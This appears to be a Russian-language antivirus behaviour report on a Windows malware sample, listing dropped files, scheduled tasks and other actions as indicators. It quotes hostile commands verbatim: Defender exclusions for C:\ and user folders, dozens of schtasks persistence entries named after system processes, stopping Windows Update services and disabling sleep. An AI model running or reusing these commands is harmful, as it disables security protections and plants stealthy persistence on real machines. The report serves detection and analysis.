Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\explorer
- <SYSTEM32>\tasks\iexplorei
- <SYSTEM32>\tasks\sp_fontreviewmonitordllrefsvc
- <SYSTEM32>\tasks\sp_fontreviewmonitordllrefsvcs
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\mdmm
- <SYSTEM32>\tasks\lsml
- <SYSTEM32>\tasks\mdm
- <SYSTEM32>\tasks\conhost_sftc
- <SYSTEM32>\tasks\iexplore
- <SYSTEM32>\tasks\conhost_sft
- <SYSTEM32>\tasks\taskhostt
- <SYSTEM32>\tasks\lsass
- <SYSTEM32>\tasks\wininitw
- <SYSTEM32>\tasks\lsassl
- <SYSTEM32>\tasks\wininit
- %WINDIR%\tasks\b75386f1303e64
- %WINDIR%\tasks\taskhost.exe
- <SYSTEM32>\tasks\explorere
- <SYSTEM32>\tasks\taskhost
- <SYSTEM32>\tasks\googleupdatetaskmachineqc
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\'
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\hpsrspoof.exe
- %HOMEPATH%\sp_fontreviewmonitordllrefsvc.exe
- %ProgramFiles%\iron\9db6e019d4f04e
- %ProgramFiles%\iron\iexplore.exe
- %ALLUSERSPROFILE%\application data\51de915128d14c
- %ALLUSERSPROFILE%\application data\sp_fontreviewmonitordllrefsvc.exe
- %ProgramFiles%\qklez\7a318d01ef248e
- %ProgramFiles%\qklez\conhost_sft.exe
- %ProgramFiles%\bdsurvey\559fba5f8e4410
- %ProgramFiles%\bdsurvey\mdm.exe
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\101b941d020240
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\lsm.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\7a318d01ef248e
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\conhost_sft.exe
- %WINDIR%\shellnew\56085415360792
- %WINDIR%\shellnew\wininit.exe
- %WINDIR%\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\56085415360792
- %WINDIR%\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\wininit.exe
- <Текущая директория>\56085415360792
- <Текущая директория>\wininit.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\6203df4a6bafc7
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsass.exe
- C:\far2\plugins\arclite\7a0fd90576e088
- C:\far2\plugins\arclite\explorer.exe
- %APPDATA%\conhost_sft.exe
- %APPDATA%\sp_fontreviewmonitordllrefsvc.exe
- %HOMEPATH%\51de915128d14c
- %ProgramFiles%\google\chrome\chromeupdate.exe
Изменяет файл HOSTS.
Другое
Создает и запускает на исполнение
- '%APPDATA%\hpsrspoof.exe'
- '%APPDATA%\sp_fontreviewmonitordllrefsvc.exe'
- '%APPDATA%\conhost_sft.exe'
- '%WINDIR%\shellnew\wininit.exe'
- '%ProgramFiles%\google\chrome\chromeupdate.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#phwvxgy#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''%ProgramFiles...
- '%WINDIR%\shellnew\wininit.exe' ' (со скрытым окном)
- '%ProgramFiles%\google\chrome\chromeupdate.exe' ' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Far2\Plugins\arclite\explorer.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_sft" /sc ONLOGON /tr "'%ProgramFiles%\qklez\conhost_sft.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_sftc" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\qklez\conhost_sft.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "sp_fontreviewmonitordllrefsvcs" /sc MINUTE /mo 6 /tr "'%ALLUSERSPROFILE%\Application Data\sp_fontreviewmonitordllrefsvc.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "sp_fontreviewmonitordllrefsvc" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Application Data\sp_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "sp_fontreviewmonitordllrefsvcs" /sc MINUTE /mo 9 /tr "'%ALLUSERSPROFILE%\Application Data\sp_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 7 /tr "'%ProgramFiles%\iron\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'%ProgramFiles%\iron\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 5 /tr "'%ProgramFiles%\iron\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "sp_fontreviewmonitordllrefsvcs" /sc MINUTE /mo 10 /tr "'%HOMEPATH%\sp_fontreviewmonitordllrefsvc.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "sp_fontreviewmonitordllrefsvc" /sc ONLOGON /tr "'%HOMEPATH%\sp_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "sp_fontreviewmonitordllrefsvcs" /sc MINUTE /mo 11 /tr "'%HOMEPATH%\sp_fontreviewmonitordllrefsvc.exe'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#phwvxgy#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''%ProgramFiles...
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_sftc" /sc MINUTE /mo 12 /tr "'%ProgramFiles%\qklez\conhost_sft.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'%ProgramFiles%\Google\Chrome\ChromeUpdate.exe'"
- '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 7 /tr "'%ProgramFiles%\BDSurvey\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 9 /tr "'%ProgramFiles%\BDSurvey\mdm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'C:\Far2\Plugins\arclite\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\Far2\Plugins\arclite\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsass.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'<Текущая директория>\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'<Текущая директория>\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'<Текущая директория>\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 13 /tr "'%WINDIR%\Tasks\taskhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'%WINDIR%\Tasks\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 11 /tr "'%WINDIR%\Tasks\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'%WINDIR%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer#\45ec12795950a7d54691591c615a9e3c\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'%WINDIR%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer#\45ec12795950a7d54691591c615a9e3c\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'%WINDIR%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer#\45ec12795950a7d54691591c615a9e3c\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'%WINDIR%\ShellNew\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'%WINDIR%\ShellNew\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'%WINDIR%\ShellNew\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_sftc" /sc MINUTE /mo 5 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\conhost_sft.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_sft" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\conhost_sft.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost_sftc" /sc MINUTE /mo 14 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\conhost_sft.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc ONLOGON /tr "'%ProgramFiles%\BDSurvey\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /run /tn "GoogleUpdateTaskMachineQC"
